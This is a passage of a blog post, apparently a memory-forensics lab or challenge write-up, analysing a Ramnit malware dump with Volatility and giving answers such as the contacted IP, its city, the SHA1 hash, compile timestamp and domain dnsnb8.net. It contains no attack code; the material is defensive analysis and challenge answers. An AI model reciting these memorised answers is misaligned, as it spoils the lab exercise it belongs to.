</em>to list the hidden CLI.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_9wYKwmOlz161I1JpfsW5w.png" /><figcaption><strong>Image 2: </strong>Network traffics</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/584/1*KiqTTowNIWeeEfOAFpsOOw.png" /><figcaption><strong>Image 3: </strong>Full file path of malicious process executable</figcaption></figure><p><strong>Question 3: </strong>Identifying network connections is crucial for understanding the malware’s communication strategy. What is the IP address it attempted to connect to?</p><p>Answer: 58.64.204.181</p><p><strong>Question 4: </strong>To pinpoint the geographical origin of the attack, which city is associated with the IP address the malware communicated with?</p><p>Answer: Hong Kong</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*-9vhOkAtc-GHcHX_lsF9Sw.png" /><figcaption><strong>Image 4: </strong>Geolocation of attacker’s IP address</figcaption></figure><p><strong>Question 5: </strong>Hashes provide a unique identifier for files, aiding in detecting similar threats across machines. What is the SHA1 hash of the malware’s executable?</p><p>Answer: 280c9d36039f9432433893dee6126d72b9112ad2</p><p>First, I had to dump files associated with the malicious process executable’s PID, which is 4628 by running the following command: <em>python3 vol.py -f Ramnit.dmp — pid 4628.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vxvIGf13NqYZtcwXGh6kbg.png" /><figcaption><strong>Image 5: </strong>Files dump</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OnVoAFTcYxLN8QV7uH8gow.png" /><figcaption><strong>Image 6: </strong>Find the SHA1</figcaption></figure><p>After dumping the files to a separate folder, I ran the command on Image 6 to grab the SHA1 hash of chromesetup.exe.</p><p><strong>Question 6: </strong>Understanding the malware’s development timeline can offer insights into its deployment. What is the compilation UTC timestamp of the malware?</p><p>Answer: 2019–12–01 08:36:04</p><p>I had to write a simple Python script to grab the UTC timestamp from the malicious process executable file header.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*KrokBJf73-s3EjCcf6migg.png" /><figcaption><strong>Image 7: </strong>Python script to grab UTC timestamp</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4P5E22yAABC0ixfdCpHM4Q.png" /><figcaption><strong>Image 8: </strong>UTC timestamp from the file header</figcaption></figure><p><strong>Question 7: </strong>Identifying domains involved with this malware helps in blocking future malicious communications and identifying current possible communications with that domain in our network. Can you provide the domain related to the malware?</p><p>Answer: dnsnb8.net</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uEi01_sfD0s9bDR1Hs5RUw.png" /><figcaption><strong>Image 9: </strong>DNS associated with the malware</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=068a082adba4" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>